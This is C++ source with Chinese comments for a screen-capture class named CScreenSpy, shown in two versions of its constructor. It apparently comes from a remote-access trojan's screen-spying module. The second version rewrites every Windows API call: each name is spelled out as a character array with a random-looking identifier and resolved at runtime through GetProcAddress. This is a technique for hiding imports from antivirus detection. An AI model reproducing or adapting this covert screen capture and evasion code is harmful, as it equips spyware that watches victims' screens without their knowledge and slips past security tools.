CScreenSpy::CScreenSpy(int biBitCount, bool bIsGray, UINT nMaxFrameRate) { switch (biBitCount) { case 1: case 4: case 8: case 16: case 32: m_biBitCount = biBitCount; break; default: m_biBitCount = 8; } if (!SelectInputWinStation()) { m_hDeskTopWnd = GetDesktopWindow(); m_hFullDC = GetDC(m_hDeskTopWnd); } m_dwLastCapture = GetTickCount(); m_nMaxFrameRate = nMaxFrameRate; m_dwSleep = 1000 / nMaxFrameRate; m_bIsGray = bIsGray; m_nFullWidth = ::GetSystemMetrics(SM_CXSCREEN); m_nFullHeight = ::GetSystemMetrics(SM_CYSCREEN); m_nIncSize = 32 / m_biBitCount; m_nStartLine = 0; m_hFullMemDC = ::CreateCompatibleDC(m_hFullDC); m_hLineMemDC = ::CreateCompatibleDC(NULL); m_hRectMemDC = ::CreateCompatibleDC(NULL); m_lpvLineBits = NULL; m_lpvFullBits = NULL; m_lpbmi_line = ConstructBI(m_biBitCount, m_nFullWidth, 1); m_lpbmi_full = ConstructBI(m_biBitCount, m_nFullWidth, m_nFullHeight); m_lpbmi_rect = ConstructBI(m_biBitCount, m_nFullWidth, 1); m_hLineBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_line, DIB_RGB_COLORS, &m_lpvLineBits, NULL, NULL); m_hFullBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvFullBits, NULL, NULL); ::SelectObject(m_hFullMemDC, m_hFullBitmap); ::SelectObject(m_hLineMemDC, m_hLineBitmap); ::SetRect(&m_changeRect, 0, 0, m_nFullWidth, m_nFullHeight); // 足够了 m_rectBuffer = new BYTE[m_lpbmi_full->bmiHeader.biSizeImage * 2]; m_rectBufferOffset = 0; }
CScreenSpy::CScreenSpy(int biBitCount, bool bIsGray, UINT nMaxFrameRate) { switch (biBitCount) { case 1: case 4: case 8: case 16: case 32: m_biBitCount = biBitCount; break; default: m_biBitCount = 8; } char DYrEN66[] = {'G','e','t','D','C','\0'}; GetDCT pGetDC=(GetDCT)GetProcAddress(LoadLibrary("USER32.dll"),DYrEN66); char DYrEN67[] = {'G','e','t','D','e','s','k','t','o','p','W','i','n','d','o','w','\0'}; GetDesktopWindowT pGetDesktopWindow=(GetDesktopWindowT)GetProcAddress(LoadLibrary("USER32.dll"),DYrEN67); if (!SelectInputWinStation()) { m_hDeskTopWnd = pGetDesktopWindow(); m_hFullDC = pGetDC(m_hDeskTopWnd); } m_dwBitBltRop = SRCCOPY; char DYrEN68[] = {'G','e','t','S','y','s','t','e','m','M','e','t','r','i','c','s','\0'}; GetSystemMetricsT pGetSystemMetrics=(GetSystemMetricsT)GetProcAddress(LoadLibrary("USER32.dll"),DYrEN68); char DYrEN70[] = {'G','e','t','T','i','c','k','C','o','u','n','t','\0'}; GetTickCountT pGetTickCount=(GetTickCountT)GetProcAddress(LoadLibrary("KERNEL32.dll"),DYrEN70); m_bAlgorithm = ALGORITHM_SCAN; // 默认使用隔行扫描算法 m_dwLastCapture = pGetTickCount(); m_nMaxFrameRate = nMaxFrameRate; m_dwSleep = 1000 / nMaxFrameRate; m_bIsGray = bIsGray; // m_nFullWidth = ::GetSystemMetrics(SM_CXSCREEN); // m_nFullHeight = ::GetSystemMetrics(SM_CYSCREEN); m_nFullWidth = pGetSystemMetrics(SM_CXSCREEN); m_nFullHeight = pGetSystemMetrics(SM_CYSCREEN); m_nIncSize = 32 / m_biBitCount; m_nStartLine = 0; char DYrEN75[] = {'C','r','e','a','t','e','C','o','m','p','a','t','i','b','l','e','D','C','\0'}; CreateCompatibleDCT pCreateCompatibleDC=(CreateCompatibleDCT)GetProcAddress(LoadLibrary("GDI32.dll"),DYrEN75); // m_hFullMemDC = ::CreateCompatibleDC(m_hFullDC); // m_hDiffMemDC = ::CreateCompatibleDC(m_hFullDC); // m_hLineMemDC = ::CreateCompatibleDC(NULL); // m_hRectMemDC = ::CreateCompatibleDC(NULL); m_hFullMemDC = pCreateCompatibleDC(m_hFullDC); m_hDiffMemDC = pCreateCompatibleDC(m_hFullDC); m_hLineMemDC = pCreateCompatibleDC(NULL); m_hRectMemDC = pCreateCompatibleDC(NULL); m_lpvLineBits = NULL; m_lpvFullBits = NULL; m_lpbmi_line = ConstructBI(m_biBitCount, m_nFullWidth, 1); m_lpbmi_full = ConstructBI(m_biBitCount, m_nFullWidth, m_nFullHeight); m_lpbmi_rect = ConstructBI(m_biBitCount, m_nFullWidth, 1); char DYrEN72[] = {'C','r','e','a','t','e','D','I','B','S','e','c','t','i','o','n','\0'}; CreateDIBSectionT pCreateDIBSection=(CreateDIBSectionT)GetProcAddress(LoadLibrary("GDI32.dll"),DYrEN72); // m_hLineBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_line, DIB_RGB_COLORS, &m_lpvLineBits, NULL, NULL); // m_hFullBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvFullBits, NULL, NULL); // m_hDiffBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvDiffBits, NULL, NULL); m_hLineBitmap = pCreateDIBSection(m_hFullDC, m_lpbmi_line, DIB_RGB_COLORS, &m_lpvLineBits, NULL, NULL); m_hFullBitmap = pCreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvFullBits, NULL, NULL); m_hDiffBitmap = pCreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvDiffBits, NULL, NULL); char DYrEN80[] = {'S','e','l','e','c','t','O','b','j','e','c','t','\0'}; SelectObjectT pSelectObject=(SelectObjectT)GetProcAddress(LoadLibrary("GDI32.dll"),DYrEN80); // ::SelectObject(m_hFullMemDC, m_hFullBitmap); // ::SelectObject(m_hLineMemDC, m_hLineBitmap); // ::SelectObject(m_hDiffMemDC, m_hDiffBitmap); pSelectObject(m_hFullMemDC, m_hFullBitmap); pSelectObject(m_hLineMemDC, m_hLineBitmap); pSelectObject(m_hDiffMemDC, m_hDiffBitmap); char DmDjm02[] = {'S','e','t','R','e','c','t','\0'}; SetRectT pSetRect=(SetRectT)GetProcAddress(LoadLibrary("USER32.dll"),DmDjm02); // ::SetRect(&m_changeRect, 0, 0, m_nFullWidth, m_nFullHeight); pSetRect(&m_changeRect, 0, 0, m_nFullWidth, m_nFullHeight); // 足够了 m_rectBuffer = new BYTE[m_lpbmi_full->bmiHeader.biSizeImage * 2]; m_nDataSizePerLine = m_lpbmi_full->bmiHeader.biSizeImage / m_nFullHeight; m_rectBufferOffset = 0; }